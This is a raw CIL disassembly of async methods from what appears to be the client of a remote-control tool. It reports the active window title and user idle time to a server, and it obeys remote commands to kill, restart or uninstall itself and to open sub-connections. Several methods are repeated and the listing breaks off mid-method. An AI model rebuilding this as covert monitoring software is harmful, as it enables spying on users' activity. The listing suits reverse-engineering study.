000032ddcallvirt SendAsync
000032e2callvirt GetAwaiter
000032e7stloc.s 8
000032e9ldloca.s 8
000032ebcall get_IsCompleted
000032f0brtrue.s IL_0114
000032f2ldarg.0
000032f3ldc.i4.0
000032f4dup
000032f5stloc.0
000032f6stfld <>1__state
000032fbldarg.0
000032fcldloc.s 8
000032festfld <>u__1
00003303ldarg.0
00003304ldflda <>t__builder
00003309ldloca.s 8
0000330bldarg.0
0000330ccall 0x2B000014
00003311leave.s IL_014a
00003313ldarg.0
00003314ldfld <>u__1
00003319stloc.s 8
0000331bldarg.0
0000331cldflda <>u__1
00003321initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00003327ldarg.0
00003328ldc.i4.m1
00003329dup
0000332astloc.0
0000332bstfld <>1__state
00003330ldloca.s 8
00003332call GetResult
00003337pop
00003338leave.s IL_0137
0000333astloc.s 9
0000333cldarg.0
0000333dldc.i4.s -2
0000333fstfld <>1__state
00003344ldarg.0
00003345ldflda <>t__builder
0000334aldloc.s 9
0000334ccall SetException
00003351leave.s IL_014a
00003353ldarg.0
00003354ldc.i4.s -2
00003356stfld <>1__state
0000335bldarg.0
0000335cldflda <>t__builder
00003361call SetResult
00003366ret
0000321c
00003390
00003390<SendUpdateInfo>d__11::MoveNext:
00003390ldarg.0
00003391ldfld <>1__state
00003396stloc.0
00003397ldloc.0
00003398switch (IL_0052, IL_00b9, IL_0148)
000033a9call GetCaptionOfActiveWindowAsync
000033aecallvirt GetAwaiter
000033b3stloc.s 5
000033b5ldloca.s 5
000033b7call get_IsCompleted
000033bcbrtrue.s IL_006f
000033beldarg.0
000033bfldc.i4.0
000033c0dup
000033c1stloc.0
000033c2stfld <>1__state
000033c7ldarg.0
000033c8ldloc.s 5
000033castfld <>u__1
000033cfldarg.0
000033d0ldflda <>t__builder
000033d5ldloca.s 5
000033d7ldarg.0
000033d8call 0x2B000015
000033ddleave IL_01a9
000033e2ldarg.0
000033e3ldfld <>u__1
000033e8stloc.s 5
000033ealdarg.0
000033ebldflda <>u__1
000033f0initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<string>
000033f6ldarg.0
000033f7ldc.i4.m1
000033f8dup
000033f9stloc.0
000033fastfld <>1__state
000033ffldloca.s 5
00003401call GetResult
00003406stloc.s 4
00003408ldarg.0
00003409ldloc.s 4
0000340bstfld <currwin>5__2
00003410call GetIdleTimeAsync
00003415callvirt GetAwaiter
0000341astloc.s 6
0000341cldloca.s 6
0000341ecall get_IsCompleted
00003423brtrue.s IL_00d6
00003425ldarg.0
00003426ldc.i4.1
00003427dup
00003428stloc.0
00003429stfld <>1__state
0000342eldarg.0
0000342fldloc.s 6
00003431stfld <>u__2
00003436ldarg.0
00003437ldflda <>t__builder
0000343cldloca.s 6
0000343eldarg.0
0000343fcall 0x2B000016
00003444leave IL_01a9
00003449ldarg.0
0000344aldfld <>u__2
0000344fstloc.s 6
00003451ldarg.0
00003452ldflda <>u__2
00003457initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint32>
0000345dldarg.0
0000345eldc.i4.m1
0000345fdup
00003460stloc.0
00003461stfld <>1__state
00003466ldloca.s 6
00003468call GetResult
0000346dldc.i4 1000
00003472div.un
00003473stloc.s 7
00003475ldloca.s 7
00003477call ToString
0000347cstloc.1
0000347dldarg.0
0000347eldfld <currwin>5__2
00003483ldstr "\n"
00003488ldloc.1
00003489call Concat
0000348estloc.2
0000348fcall get_UTF8
00003494ldloc.2
00003495callvirt GetBytes
0000349astloc.3
0000349bldarg.0
0000349cldfld node
000034a1ldloc.3
000034a2callvirt SendAsync
000034a7callvirt GetAwaiter
000034acstloc.s 8
000034aeldloca.s 8
000034b0call get_IsCompleted
000034b5brtrue.s IL_0165
000034b7ldarg.0
000034b8ldc.i4.2
000034b9dup
000034bastloc.0
000034bbstfld <>1__state
000034c0ldarg.0
000034c1ldloc.s 8
000034c3stfld <>u__3
000034c8ldarg.0
000034c9ldflda <>t__builder
000034celdloca.s 8
000034d0ldarg.0
000034d1call 0x2B000017
000034d6leave.s IL_01a9
000034d8ldarg.0
000034d9ldfld <>u__3
000034destloc.s 8
000034e0ldarg.0
000034e1ldflda <>u__3
000034e6initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
000034ecldarg.0
000034edldc.i4.m1
000034eedup
000034efstloc.0
000034f0stfld <>1__state
000034f5ldloca.s 8
000034f7call GetResult
000034fcpop
000034fdleave.s IL_018f
000034ffstloc.s 9
00003501ldarg.0
00003502ldc.i4.s -2
00003504stfld <>1__state
00003509ldarg.0
0000350aldnull
0000350bstfld <currwin>5__2
00003510ldarg.0
00003511ldflda <>t__builder
00003516ldloc.s 9
00003518call SetException
0000351dleave.s IL_01a9
0000351fldarg.0
00003520ldc.i4.s -2
00003522stfld <>1__state
00003527ldarg.0
00003528ldnull
00003529stfld <currwin>5__2
0000352eldarg.0
0000352fldflda <>t__builder
00003534call SetResult
00003539ret
00003390
00003390<SendUpdateInfo>d__11::MoveNext:
00003390ldarg.0
00003391ldfld <>1__state
00003396stloc.0
00003397ldloc.0
00003398switch (IL_0052, IL_00b9, IL_0148)
000033a9call GetCaptionOfActiveWindowAsync
000033aecallvirt GetAwaiter
000033b3stloc.s 5
000033b5ldloca.s 5
000033b7call get_IsCompleted
000033bcbrtrue.s IL_006f
000033beldarg.0
000033bfldc.i4.0
000033c0dup
000033c1stloc.0
000033c2stfld <>1__state
000033c7ldarg.0
000033c8ldloc.s 5
000033castfld <>u__1
000033cfldarg.0
000033d0ldflda <>t__builder
000033d5ldloca.s 5
000033d7ldarg.0
000033d8call 0x2B000015
000033ddleave IL_01a9
000033e2ldarg.0
000033e3ldfld <>u__1
000033e8stloc.s 5
000033ealdarg.0
000033ebldflda <>u__1
000033f0initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<string>
000033f6ldarg.0
000033f7ldc.i4.m1
000033f8dup
000033f9stloc.0
000033fastfld <>1__state
000033ffldloca.s 5
00003401call GetResult
00003406stloc.s 4
00003408ldarg.0
00003409ldloc.s 4
0000340bstfld <currwin>5__2
00003410call GetIdleTimeAsync
00003415callvirt GetAwaiter
0000341astloc.s 6
0000341cldloca.s 6
0000341ecall get_IsCompleted
00003423brtrue.s IL_00d6
00003425ldarg.0
00003426ldc.i4.1
00003427dup
00003428stloc.0
00003429stfld <>1__state
0000342eldarg.0
0000342fldloc.s 6
00003431stfld <>u__2
00003436ldarg.0
00003437ldflda <>t__builder
0000343cldloca.s 6
0000343eldarg.0
0000343fcall 0x2B000016
00003444leave IL_01a9
00003449ldarg.0
0000344aldfld <>u__2
0000344fstloc.s 6
00003451ldarg.0
00003452ldflda <>u__2
00003457initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint32>
0000345dldarg.0
0000345eldc.i4.m1
0000345fdup
00003460stloc.0
00003461stfld <>1__state
00003466ldloca.s 6
00003468call GetResult
0000346dldc.i4 1000
00003472div.un
00003473stloc.s 7
00003475ldloca.s 7
00003477call ToString
0000347cstloc.1
0000347dldarg.0
0000347eldfld <currwin>5__2
00003483ldstr "\n"
00003488ldloc.1
00003489call Concat
0000348estloc.2
0000348fcall get_UTF8
00003494ldloc.2
00003495callvirt GetBytes
0000349astloc.3
0000349bldarg.0
0000349cldfld node
000034a1ldloc.3
000034a2callvirt SendAsync
000034a7callvirt GetAwaiter
000034acstloc.s 8
000034aeldloca.s 8
000034b0call get_IsCompleted
000034b5brtrue.s IL_0165
000034b7ldarg.0
000034b8ldc.i4.2
000034b9dup
000034bastloc.0
000034bbstfld <>1__state
000034c0ldarg.0
000034c1ldloc.s 8
000034c3stfld <>u__3
000034c8ldarg.0
000034c9ldflda <>t__builder
000034celdloca.s 8
000034d0ldarg.0
000034d1call 0x2B000017
000034d6leave.s IL_01a9
000034d8ldarg.0
000034d9ldfld <>u__3
000034destloc.s 8
000034e0ldarg.0
000034e1ldflda <>u__3
000034e6initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
000034ecldarg.0
000034edldc.i4.m1
000034eedup
000034efstloc.0
000034f0stfld <>1__state
000034f5ldloca.s 8
000034f7call GetResult
000034fcpop
000034fdleave.s IL_018f
000034ffstloc.s 9
00003501ldarg.0
00003502ldc.i4.s -2
00003504stfld <>1__state
00003509ldarg.0
0000350aldnull
0000350bstfld <currwin>5__2
00003510ldarg.0
00003511ldflda <>t__builder
00003516ldloc.s 9
00003518call SetException
0000351dleave.s IL_01a9
0000351fldarg.0
00003520ldc.i4.s -2
00003522stfld <>1__state
00003527ldarg.0
00003528ldnull
00003529stfld <currwin>5__2
0000352eldarg.0
0000352fldflda <>t__builder
00003534call SetResult
00003539ret
00003390
00003564
00003564<Type0Receive>d__6::MoveNext:
00003564ldarg.0
00003565ldfld <>1__state
0000356astloc.0
0000356bldarg.0
0000356cldfld <>4__this
00003571stloc.1
00003572ldloc.0
00003573switch (IL_0064, IL_00ff, IL_0186)
00003584br IL_01aa
00003589ldloc.1
0000358aldfld Main
0000358fcallvirt ReceiveAsync
00003594callvirt GetAwaiter
00003599stloc.s 4
0000359bldloca.s 4
0000359dcall get_IsCompleted
000035a2brtrue.s IL_0081
000035a4ldarg.0
000035a5ldc.i4.0
000035a6dup
000035a7stloc.0
000035a8stfld <>1__state
000035adldarg.0
000035aeldloc.s 4
000035b0stfld <>u__1
000035b5ldarg.0
000035b6ldflda <>t__builder
000035bbldloca.s 4
000035bdldarg.0
000035becall 0x2B000018
000035c3leave IL_01f3
000035c8ldarg.0
000035c9ldfld <>u__1
000035cestloc.s 4
000035d0ldarg.0
000035d1ldflda <>u__1
000035d6initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
000035dcldarg.0
000035ddldc.i4.m1
000035dedup
000035dfstloc.0
000035e0stfld <>1__state
000035e5ldloca.s 4
000035e7call GetResult
000035ecstloc.2
000035edldloc.2
000035eebrfalse IL_01ba
000035f3ldloc.2
000035f4ldc.i4.0
000035f5ldelem.u1
000035f6stloc.3
000035f7ldloc.3
000035f8switch (IL_00b2, IL_00bf, IL_0128, IL_0134, IL_0150)
00003611br IL_01aa
00003616ldloc.1
00003617ldloc.2
00003618call CreateSubSock
0000361dpop
0000361ebr IL_01aa
00003623ldloc.1
00003624ldloc.1
00003625ldfld Main
0000362acall GetAndSendInfo
0000362fcallvirt GetAwaiter
00003634stloc.s 5
00003636ldloca.s 5
00003638call get_IsCompleted
0000363dbrtrue.s IL_011c
0000363fldarg.0
00003640ldc.i4.1
00003641dup
00003642stloc.0
00003643stfld <>1__state
00003648ldarg.0
00003649ldloc.s 5
0000364bstfld <>u__2
00003650ldarg.0
00003651ldflda <>t__builder
00003656ldloca.s 5
00003658ldarg.0
00003659call 0x2B000019
0000365eleave IL_01f3
00003663ldarg.0
00003664ldfld <>u__2
00003669stloc.s 5
0000366bldarg.0
0000366cldflda <>u__2
00003671initobj System.Runtime.CompilerServices.TaskAwaiter
00003677ldarg.0
00003678ldc.i4.m1
00003679dup
0000367astloc.0
0000367bstfld <>1__state
00003680ldloca.s 5
00003682call GetResult
00003687br IL_01aa
0000368ccall GetCurrentProcess
00003691callvirt Kill
00003696br.s IL_01aa
00003698call GetEntryAssembly
0000369dcallvirt get_Location
000036a2call Start
000036a7pop
000036a8call GetCurrentProcess
000036adcallvirt Kill
000036b2br.s IL_01aa
000036b4call Uninstall
000036b9callvirt GetAwaiter
000036bestloc.s 5
000036c0ldloca.s 5
000036c2call get_IsCompleted
000036c7brtrue.s IL_01a3
000036c9ldarg.0
000036caldc.i4.2
000036cbdup
000036ccstloc.0
000036cdstfld <>1__state
000036d2ldarg.0
000036d3ldloc.s 5
000036d5stfld <>u__2
000036daldarg.0
000036dbldflda <>t__builder
000036e0ldloca.s 5
000036e2ldarg.0
000036e3call 0x2B000019
000036e8leave.s IL_01f3
000036ealdarg.0
000036ebldfld <>u__2
000036f0stloc.s 5
000036f2ldarg.0
000036f3ldflda <>u__2
000036f8initobj System.Runtime.CompilerServices.TaskAwaiter
000036feldarg.0
000036ffldc.i4.m1
00003700dup
00003701stloc.0
00003702stfld <>1__state
00003707ldloca.s 5
00003709call GetResult
0000370eldloc.1
0000370fldfld Main
00003714callvirt Connected
00003719brtrue IL_0025
0000371eldloc.1
0000371fldfld Main
00003724callvirt Disconnect
00003729leave.s IL_01e0
0000372bstloc.s 6
0000372dldarg.0
0000372eldc.i4.s -2
00003730stfld <>1__state
00003735ldarg.0
00003736ldflda <>t__builder
0000373bldloc.s 6
0000373dcall SetException
00003742leave.s IL_01f3
00003744ldarg.0
00003745ldc.i4.s -2
00003747stfld <>1__state
0000374cldarg.0
0000374dldflda <>t__builder
00003752call SetResult
00003757ret
00003564
00003564<Type0Receive>d__6::MoveNext:
00003564ldarg.0
00003565ldfld <>1__state
0000356astloc.0
0000356bldarg.0
0000356cldfld <>4__this
00003571stloc.1
00003572ldloc.0
00003573switch (IL_0064, IL_00ff, IL_0186)
00003584br IL_01aa
00003589ldloc.1
0000358aldfld Main
0000358fcallvirt ReceiveAsync
00003594callvirt GetAwaiter
00003599stloc.s 4
0000359bldloca.s 4
0000359dcall get_IsCompleted
000035a2brtrue.s IL_0081
000035a4ldarg.0
000035a5ldc.i4.0
000035a6dup
000035a7stloc.0
000035a8stfld <>1__state
000035adldarg.0
000035aeldloc.s 4
000035b0stfld <>u__1
000035b5ldarg.0
000035b6ldflda <>t__builder
000035bbldloca.s 4
000035bdldarg.0
000035becall 0x2B000018
000035c3leave IL_01f3
000035c8ldarg.0
000035c9ldfld <>u__1
000035cestloc.s 4
000035d0ldarg.0
000035d1ldflda <>u__1
000035d6initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
000035dcldarg.0
000035ddldc.i4.m1
000035dedup
000035dfstloc.0
000035e0stfld <>1__state
000035e5ldloca.s 4
000035e7call GetResult
000035ecstloc.2
000035edldloc.2
000035eebrfalse IL_01ba
000035f3ldloc.2
000035f4ldc.i4.0
000035f5ldelem.u1
000035f6stloc.3
000035f7ldloc.3
000035f8switch (IL_00b2, IL_00bf, IL_0128, IL_0134, IL_0150)
00003611br IL_01aa
00003616ldloc.1
00003617ldloc.2
00003618call CreateSubSock
0000361dpop
0000361ebr IL_01aa
00003623ldloc.1
00003624ldloc.1
00003625ldfld Main
0000362acall GetAndSendInfo
0000362fcallvirt GetAwaiter
00003634stloc.s 5
00003636ldloca.s 5
00003638call get_IsCompleted
0000363dbrtrue.s IL_011c
0000363fldarg.0
00003640ldc.i4.1
00003641dup
00003642stloc.0
00003643stfld <>1__state
00003648ldarg.0
00003649ldloc.s 5
0000364bstfld <>u__2
00003650ldarg.0
00003651ldflda <>t__builder
00003656ldloca.s 5
00003658ldarg.0
00003659call 0x2B000019
0000365eleave IL_01f3
00003663ldarg.0
00003664ldfld <>u__2
00003669stloc.s 5
0000366bldarg.0
0000366cldflda <>u__2
00003671initobj System.Runtime.CompilerServices.TaskAwaiter
00003677ldarg.0
00003678ldc.i4.m1
00003679dup
0000367astloc.0
0000367bstfld <>1__state
00003680ldloca.s 5
00003682call GetResult
00003687br IL_01aa
0000368ccall GetCurrentProcess
00003691callvirt Kill
00003696br.s IL_01aa
00003698call GetEntryAssembly
0000369dcallvirt get_Location
000036a2call Start
000036a7pop
000036a8call GetCurrentProcess
000036adcallvirt Kill
000036b2br.s IL_01aa
000036b4call Uninstall
000036b9callvirt GetAwaiter
000036bestloc.s 5
000036c0ldloca.s 5
000036c2call get_IsCompleted
000036c7brtrue.s IL_01a3
000036c9ldarg.0
000036caldc.i4.2
000036cbdup
000036ccstloc.0
000036cdstfld <>1__state
000036d2ldarg.0
000036d3ldloc.s 5
000036d5stfld <>u__2
000036daldarg.0
000036dbldflda <>t__builder
000036e0ldloca.s 5
000036e2ldarg.0
000036e3call 0x2B000019
000036e8leave.s IL_01f3
000036ealdarg.0
000036ebldfld <>u__2
000036f0stloc.s 5
000036f2ldarg.0
000036f3ldflda <>u__2
000036f8initobj System.Runtime.CompilerServices.TaskAwaiter
000036feldarg.0
000036ffldc.i4.m1
00003700dup
00003701stloc.0
00003702stfld <>1__state
00003707ldloca.s 5
00003709call GetResult
0000370eldloc.1
0000370fldfld Main
00003714callvirt Connected
00003719brtrue IL_0025
0000371eldloc.1
0000371fldfld Main
00003724callvirt Disconnect
00003729leave.s IL_01e0
0000372bstloc.s 6
0000372dldarg.0
0000372eldc.i4.s -2
00003730stfld <>1__state
00003735ldarg.0
00003736ldflda <>t__builder
0000373bldloc.s 6
0000373dcall SetException
00003742leave.s IL_01f3
00003744ldarg.0
00003745ldc.i4.s -2
00003747stfld <>1__state
0000374cldarg.0
0000374dldflda <>t__builder
00003752call SetResult
00003757ret
00003564
00003780
00003780<Type1Receive>d__7::MoveNext:
00003780ldarg.0
00003781ldfld <>1__state
00003786stloc.0
00003787ldarg.0
00003788ldfld <>4__this
0000378dstloc.1
0000378eldloc.0
0000378fswitch (IL_0095, IL_00f7, IL_016c, IL_01db)
000037a4ldarg.0
000037a5ldc.i4.1
000037a6newarr System.Byte
000037abdup
000037acldc.i4.0
000037adldc.i4.1
000037aestelem.i1
000037afstfld <HearbeatReply>5__2
000037b4ldarg.0
000037b5ldc.i4.1
000037b6newarr System.Byte
000037bbdup
000037bcldc.i4.0
000037bdldc.i4.2
000037bestelem.i1
000037bfstfld <HearbeatFail>5__3
000037c4ldarg.0
000037c5ldfld subServer
000037caldc.i4 5000
000037cfcallvirt SetRecvTimeout
000037d4br IL_0200
000037d9ldc.i4 1000
000037decall Delay
000037e3callvirt GetAwaiter
000037e8stloc.3
000037e9ldloca.s 3
000037ebcall get_IsCompleted
000037f0brtrue.s IL_00b1
000037f2ldarg.0
000037f3ldc.i4.0
000037f4dup
000037f5stloc.0
000037f6stfld <>1__state
000037fbldarg.0
000037fcldloc.3
000037fdstfld <>u__1
00003802ldarg.0
00003803ldflda <>t__builder
00003808ldloca.s 3
0000380aldarg.0
0000380bcall 0x2B00001A
00003810leave IL_027d
00003815ldarg.0
00003816ldfld <>u__1
0000381bstloc.3
0000381cldarg.0
0000381dldflda <>u__1
00003822initobj System.Runtime.CompilerServices.TaskAwaiter
00003828ldarg.0
00003829ldc.i4.m1
0000382adup
0000382bstloc.0
0000382cstfld <>1__state
00003831ldloca.s 3
00003833call GetResult
00003838ldarg.0
00003839ldfld subServer
0000383ecallvirt ReceiveAsync
00003843callvirt GetAwaiter
00003848stloc.s 4
0000384aldloca.s 4
0000384ccall get_IsCompleted
00003851brtrue.s IL_0114
00003853ldarg.0
00003854ldc.i4.1
00003855dup
00003856stloc.0
00003857stfld <>1__state
0000385cldarg.0
0000385dldloc.s 4
0000385fstfld <>u__2
00003864ldarg.0
00003865ldflda <>t__builder
0000386aldloca.s 4
0000386cldarg.0
0000386dcall 0x2B00001B
00003872leave IL_027d
00003877ldarg.0
00003878ldfld <>u__2
0000387dstloc.s 4
0000387fldarg.0
00003880ldflda <>u__2
00003885initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
0000388bldarg.0
0000388cldc.i4.m1
0000388ddup
0000388estloc.0
0000388fstfld <>1__state
00003894ldloca.s 4
00003896call GetResult
0000389bstloc.2
0000389cldloc.2
0000389dbrfalse IL_021d
000038a2ldloc.2
000038a3ldc.i4.0
000038a4ldelem.u1
000038a5brfalse.s IL_0196
000038a7ldarg.0
000038a8ldfld subServer
000038adldarg.0
000038aeldfld <HearbeatFail>5__3
000038b3callvirt SendAsync
000038b8callvirt GetAwaiter
000038bdstloc.s 5
000038bfldloca.s 5
000038c1call get_IsCompleted
000038c6brtrue.s IL_0189
000038c8ldarg.0
000038c9ldc.i4.2
000038cadup
000038cbstloc.0
000038ccstfld <>1__state
000038d1ldarg.0
000038d2ldloc.s 5
000038d4stfld <>u__3
000038d9ldarg.0
000038daldflda <>t__builder
000038dfldloca.s 5
000038e1ldarg.0
000038e2call 0x2B00001C
000038e7leave IL_027d
000038ecldarg.0
000038edldfld <>u__3
000038f2stloc.s 5
000038f4ldarg.0
000038f5ldflda <>u__3
000038fainitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00003900ldarg.0
00003901ldc.i4.m1
00003902dup
00003903stloc.0
00003904stfld <>1__state
00003909ldloca.s 5
0000390bcall GetResult
00003910pop
00003911br IL_021d
00003916ldarg.0
00003917ldfld subServer
0000391cldarg.0
0000391dldfld <HearbeatReply>5__2
00003922callvirt SendAsync
00003927callvirt GetAwaiter
0000392cstloc.s 5
0000392eldloca.s 5
00003930call get_IsCompleted
00003935brtrue.s IL_01f8
00003937ldarg.0
00003938ldc.i4.3
00003939dup
0000393astloc.0
0000393bstfld <>1__state
00003940ldarg.0
00003941ldloc.s 5
00003943stfld <>u__3
00003948ldarg.0
00003949ldflda <>t__builder
0000394eldloca.s 5
00003950ldarg.0
00003951call 0x2B00001C
00003956leave IL_027d
0000395bldarg.0
0000395cldfld <>u__3
00003961stloc.s 5
00003963ldarg.0
00003964ldflda <>u__3
00003969initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
0000396fldarg.0
00003970ldc.i4.m1
00003971dup
00003972stloc.0
00003973stfld <>1__state
00003978ldloca.s 5
0000397acall GetResult
0000397fpop
00003980ldarg.0
00003981ldfld subServer
00003986callvirt Connected
0000398bbrfalse.s IL_021d
0000398dldloc.1
0000398eldfld Main
00003993callvirt Connected
00003998brtrue IL_0059
0000399dldloc.1
0000399eldfld Main
000039a3callvirt Disconnect
000039a8ldarg.0
000039a9ldfld subServer
000039aecallvirt Disconnect
000039b3leave.s IL_025c
000039b5stloc.s 6
000039b7ldarg.0
000039b8ldc.i4.s -2
000039bastfld <>1__state
000039bfldarg.0
000039c0ldnull
000039c1stfld <HearbeatReply>5__2
000039c6ldarg.0
000039c7ldnull
000039c8stfld <HearbeatFail>5__3
000039cdldarg.0
000039celdflda <>t__builder
000039d3ldloc.s 6
000039d5call SetException
000039daleave.s IL_027d
000039dcldarg.0
000039ddldc.i4.s -2
000039dfstfld <>1__state
000039e4ldarg.0
000039e5ldnull
000039e6stfld <HearbeatReply>5__2
000039ebldarg.0
000039ecldnull
000039edstfld <HearbeatFail>5__3
000039f2ldarg.0
000039f3ldflda <>t__builder
000039f8call SetResult
000039fdret
00003780
00003780<Type1Receive>d__7::MoveNext:
00003780ldarg.0
00003781ldfld <>1__state
00003786stloc.0
00003787ldarg.0
00003788ldfld <>4__this
0000378dstloc.1
0000378eldloc.0
0000378fswitch (IL_0095, IL_00f7, IL_016c, IL_01db)
000037a4ldarg.0
000037a5ldc.i4.1
000037a6newarr System.Byte
000037abdup
000037acldc.i4.0
000037adldc.i4.1
000037aestelem.i1
000037afstfld <HearbeatReply>5__2
000037b4ldarg.0
000037b5ldc.i4.1
000037b6newarr System.Byte
000037bbdup
000037bcldc.i4.0
000037bdldc.i4.2
000037bestelem.i1
000037bfstfld <HearbeatFail>5__3
000037c4ldarg.0
000037c5ldfld subServer
000037caldc.i4 5000
000037cfcallvirt SetRecvTimeout
000037d4br IL_0200
000037d9ldc.i4 1000
000037decall Delay
000037e3callvirt GetAwaiter
000037e8stloc.3
000037e9ldloca.s 3
000037ebcall get_IsCompleted
000037f0brtrue.s IL_00b1
000037f2ldarg.0
000037f3ldc.i4.0
000037f4dup
000037f5stloc.0
000037f6stfld <>1__state
000037fbldarg.0
000037fcldloc.3
000037fdstfld <>u__1
00003802ldarg.0
00003803ldflda <>t__builder
00003808ldloca.s 3
0000380aldarg.0
0000380bcall 0x2B00001A
00003810leave IL_027d
00003815ldarg.0
00003816ldfld <>u__1
0000381bstloc.3
0000381cldarg.0
0000381dldflda <>u__1
00003822initobj System.Runtime.CompilerServices.TaskAwaiter
00003828ldarg.0
00003829ldc.i4.m1
0000382adup
0000382bstloc.0
0000382cstfld <>1__state
00003831ldloca.s 3
00003833call GetResult
00003838ldarg.0
00003839ldfld subServer
0000383ecallvirt ReceiveAsync
00003843callvirt GetAwaiter
00003848stloc.s 4
0000384aldloca.s 4
0000384ccall get_IsCompleted
00003851brtrue.s IL_0114
00003853ldarg.0
00003854ldc.i4.1
00003855dup
00003856stloc.0
00003857stfld <>1__state
0000385cldarg.0
0000385dldloc.s 4
0000385fstfld <>u__2
00003864ldarg.0
00003865ldflda <>t__builder
0000386aldloca.s 4
0000386cldarg.0
0000386dcall 0x2B00001B
00003872leave IL_027d
00003877ldarg.0
00003878ldfld <>u__2
0000387dstloc.s 4
0000387fldarg.0
00003880ldflda <>u__2
00003885initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
0000388bldarg.0
0000388cldc.i4.m1
0000388ddup
0000388estloc.0
0000388fstfld <>1__state
00003894ldloca.s 4
00003896call GetResult
0000389bstloc.2
0000389cldloc.2
0000389dbrfalse IL_021d
000038a2ldloc.2
000038a3ldc.i4.0
000038a4ldelem.u1
000038a5brfalse.s IL_0196
000038a7ldarg.0
000038a8ldfld subServer
000038adldarg.0
000038aeldfld <HearbeatFail>5__3
000038b3callvirt SendAsync
000038b8callvirt GetAwaiter
000038bdstloc.s 5
000038bfldloca.s 5
000038c1call get_IsCompleted
000038c6brtrue.s IL_0189
000038c8ldarg.0
000038c9ldc.i4.2
000038cadup
000038cbstloc.0
000038ccstfld <>1__state
000038d1ldarg.0
000038d2ldloc.s 5
000038d4stfld <>u__3
000038d9ldarg.0
000038daldflda <>t__builder
000038dfldloca.s 5
000038e1ldarg.0
000038e2call 0x2B00001C
000038e7leave IL_027d
000038ecldarg.0
000038edldfld <>u__3
000038f2stloc.s 5
000038f4ldarg.0
000038f5ldflda <>u__3
000038fainitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00003900ldarg.0
00003901ldc.i4.m1
00003902dup
00003903stloc.0
00003904stfld <>1__state
00003909ldloca.s 5
0000390bcall GetResult
00003910pop
00003911br IL_021d
00003916ldarg.0
00003917ldfld subServer
0000391cldarg.0
0000391dldfld <HearbeatReply>5__2
00003922callvirt SendAsync
00003927callvirt GetAwaiter
0000392cstloc.s 5
0000392eldloca.s 5
00003930call get_IsCompleted
00003935brtrue.s IL_01f8
00003937ldarg.0
00003938ldc.i4.3
00003939dup
0000393astloc.0
0000393bstfld <>1__state
00003940ldarg.0
00003941ldloc.s 5
00003943stfld <>u__3
00003948ldarg.0
00003949ldflda <>t__builder
0000394eldloca.s 5
00003950ldarg.0
00003951call 0x2B00001C
00003956leave IL_027d
0000395bldarg.0
0000395cldfld <>u__3
00003961stloc.s 5
00003963ldarg.0
00003964ldflda <>u__3
00003969initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
0000396fldarg.0
00003970ldc.i4.m1
00003971dup
00003972stloc.0
00003973stfld <>1__state
00003978ldloca.s 5
0000397acall GetResult
0000397fpop
00003980ldarg.0
00003981ldfld subServer
00003986callvirt Connected
0000398bbrfalse.s IL_021d
0000398dldloc.1
0000398eldfld Main
00003993callvirt Connected
00003998brtrue IL_0059
0000399dldloc.1
0000399eldfld Main
000039a3callvirt Disconnect
000039a8ldarg.0
000039a9ldfld subServer
000039aecallvirt Disconnect
000039b3leave.s IL_025c
000039b5stloc.s 6
000039b7ldarg.0
000039b8ldc.i4.s -2
000039bastfld <>1__state
000039bfldarg.0
000039c0ldnull
000039c1stfld <HearbeatReply>5__2
000039c6ldarg.0
000039c7ldnull
000039c8stfld <HearbeatFail>5__3
000039cdldarg.0
000039celdflda <>t__builder
000039d3ldloc.s 6
000039d5call SetException
000039daleave.s IL_027d
000039dcldarg.0
000039ddldc.i4.s -2
000039dfstfld <>1__state
000039e4ldarg.0
000039e5ldnull
000039e6stfld <HearbeatReply>5__2
000039ebldarg.0
000039ecldnull
000039edstfld <HearbeatFail>5__3
000039f2ldarg.0
000039f3ldflda <>t__builder
000039f8call SetResult
000039fdret
00003780
00003a28
00003a28<Type2Receive>d__9::MoveNext:
00003a28ldarg.0
00003a29ldfld <>1__state
00003a2estloc.0
00003a2fldarg.0
00003a30ldfld <>4__this
00003a35stloc.1
00003a36ldloc.0
00003a37switch (IL_006c, IL_00fa, IL_0168, IL_01d2, IL_023b)
00003a50br IL_025f
00003a55ldarg.0
00003a56ldfld subServer
00003a5bcallvirt ReceiveAsync
00003a60callvirt GetAwaiter
00003a65stloc.s 4
00003a67ldloca.s 4
00003a69call get_IsCompleted
00003a6ebrtrue.s IL_0089
00003a70ldarg.0
00003a71ldc.i4.0
00003a72dup
00003a73stloc.0
00003a74stfld <>1__state
00003a79ldarg.0
00003a7aldloc.s 4
00003a7cstfld <>u__1
00003a81ldarg.0
00003a82ldflda <>t__builder
00003a87ldloca.s 4
00003a89ldarg.0
00003a8acall 0x2B00001D
00003a8fleave IL_02b5
00003a94ldarg.0
00003a95ldfld <>u__1
00003a9astloc.s 4
00003a9cldarg.0
00003a9dldflda <>u__1
00003aa2initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
00003aa8ldarg.0
00003aa9ldc.i4.m1
00003aaadup
00003aabstloc.0
00003aacstfld <>1__state
00003ab1ldloca.s 4
00003ab3call GetResult
00003ab8stloc.2
00003ab9ldloc.2
00003ababrfalse IL_027c
00003abfldloc.2
00003ac0ldc.i4.0
00003ac1ldelem.u1
00003ac2stloc.3
00003ac3ldloc.3
00003ac4switch (IL_00ba, IL_0123, IL_0191, IL_01f8, IL_01fd)
00003addbr IL_025f
00003ae2ldloc.1
00003ae3ldarg.0
00003ae4ldfld subServer
00003ae9call SendUpdateInfo
00003aeecallvirt GetAwaiter
00003af3stloc.s 5
00003af5ldloca.s 5
00003af7call get_IsCompleted
00003afcbrtrue.s IL_0117
00003afeldarg.0
00003affldc.i4.1
00003b00dup
00003b01stloc.0
00003b02stfld <>1__state
00003b07ldarg.0
